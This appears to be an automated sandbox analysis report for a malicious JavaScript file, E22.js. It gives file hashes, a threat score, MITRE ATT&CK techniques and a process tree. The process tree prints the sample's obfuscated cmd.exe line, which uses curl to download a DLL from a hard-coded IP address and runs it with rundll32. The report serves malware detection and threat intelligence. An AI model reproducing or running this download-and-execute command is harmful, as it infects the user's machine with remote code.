1ee748916df4463f7869f61b0604e5773ba69833cb49ee7b792d7c69c327938e

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
23/10/2023, 11:09

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General

Target

E22.js
Size

411KB
MD5

babe6c10e982d330159da694fb24bb9c
SHA1

af4ac715139eb6c02457cdecdb3763c3a491ff26
SHA256

911db6f7254a6583284b930ef7fea36462971da3f250085b6769b8bb65ef1af4
SHA512

cbfedcdbbe4906151189751a819c4e32e06cce98e5962a4e0c3851aa5981b48229650db5045795c5df64a0e1e70907ae43f4bef1e6c749db07bacb34b3ac14cf
SSDEEP

6144:Gj38P9IwPaHP79bvi5u9r9pMrSGyhZCod1fnbyC36dxEDukY4X1:MNXCgt6dxEfY4F

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2384	wscript.exe
5	2384	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2444	PING.EXE
1840	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2928	2384	wscript.exe	28
PID 2384 wrote to memory of 2928	2384	wscript.exe	28
PID 2384 wrote to memory of 2928	2384	wscript.exe	28
PID 2928 wrote to memory of 2444	2928	cmd.exe	30
PID 2928 wrote to memory of 2444	2928	cmd.exe	30
PID 2928 wrote to memory of 2444	2928	cmd.exe	30
PID 2928 wrote to memory of 1840	2928	cmd.exe	31
PID 2928 wrote to memory of 1840	2928	cmd.exe	31
PID 2928 wrote to memory of 1840	2928	cmd.exe	31
PID 2928 wrote to memory of 1932	2928	cmd.exe	32
PID 2928 wrote to memory of 1932	2928	cmd.exe	32
PID 2928 wrote to memory of 1932	2928	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\E22.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c zZE || Echo zZE & ping zZE || Curl http://66.42.96.41/QIz/envir -o %TmP%\zZE.dll & ping -n 4 zZE || RUNDLl32 %tMP%\zZE.dll, Crash & eXit U=Np=GVCQH
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\PING.EXE
    ping zZE
    3⤵
    - Runs ping.exe
    PID:2444
- - C:\Windows\system32\PING.EXE
    ping -n 4 zZE
    3⤵
    - Runs ping.exe
    PID:1840
- - C:\Windows\system32\rundll32.exe
    RUNDLl32 C:\Users\Admin\AppData\Local\Temp\zZE.dll, Crash
    3⤵
    PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab9D99.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\Tar9DEA.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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